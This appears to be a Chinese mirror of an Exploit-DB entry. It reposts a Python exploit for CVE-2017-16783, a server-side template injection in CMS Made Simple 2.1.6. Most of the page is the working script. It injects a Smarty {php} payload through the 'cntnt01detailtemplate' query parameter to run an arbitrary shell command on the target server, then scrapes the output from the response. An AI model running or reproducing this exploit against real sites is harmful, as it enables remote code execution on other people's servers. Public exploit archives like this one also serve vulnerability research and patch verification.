CMS Made Simple 2.1.6 – ‘cntnt01detailtemplate’ Server-Side Template Injection - 体验盒子

作者： Gurkirat Singh

日期： 2020-10-26

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/48944/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

# Exploit Title: CMS Made Simple 2.1.6 - 'cntnt01detailtemplate' Server-Side Template Injection

# Google Dork: N/A

# Date: 11/10/2017

# Exploit Author: Gurkirat Singh <tbhaxor@gmail.com>

# Vendor Homepage: http://www.cmsmadesimple.org/

# Software Link: N/A

# Version: 2.1.6

# Tested on: Linux

# CVE : CVE-2017-16783

# POC : https://www.netsparker.com/blog/web-security/exploiting-ssti-and-xss-in-cms-made-simple/

PFA

-------

Gurkirat Singh

(tbhaxor <https://google.com/search?q=tbhaxor>)

from argparse import ArgumentParser, RawTextHelpFormatter

from urllib.parse import urlparse, parse_qs, urlencode, quote, unquote_plus

import requests as http

import re

from bs4 import BeautifulSoup, Tag

from huepy import *

parser = ArgumentParser(description="Exploit for CVE-2017-16783",

formatter_class=RawTextHelpFormatter)

parser.add_argument(

"--target",

"-t",

help="complete remote target with protocol, host, path and query",

required=True,

dest="t")

parser.add_argument("--command",

"-c",

help="command to execute (default: whoami)",

default="whoami",

dest="c")

args = parser.parse_args()

print(info("Building malicious url"))

url = urlparse(args.t)

query = parse_qs(url.query)

query["cntnt01detailtemplate"] = [

"string:{php}echo <code>echo tbhaxor;%s;echo tbhaxor</code>;{/php}" % args.c

]

query = {k: ",".join(v) for k, v in query.items()}

query = unquote_plus(urlencode(query, doseq=False))

_url = url.scheme + "://" + url.netloc + url.path + "?" + query

print(good("Done"))

print(info("Executing payload"))

r = http.get(_url)

html = BeautifulSoup(r.content.decode(), "html5lib")

main: Tag = html.find("article", {"id": "main"})

main = re.sub(r"^Home", "", main.text.strip()).replace("tbhaxor", "").strip()

print(good("Done"))

print(info("Result"))

print(main)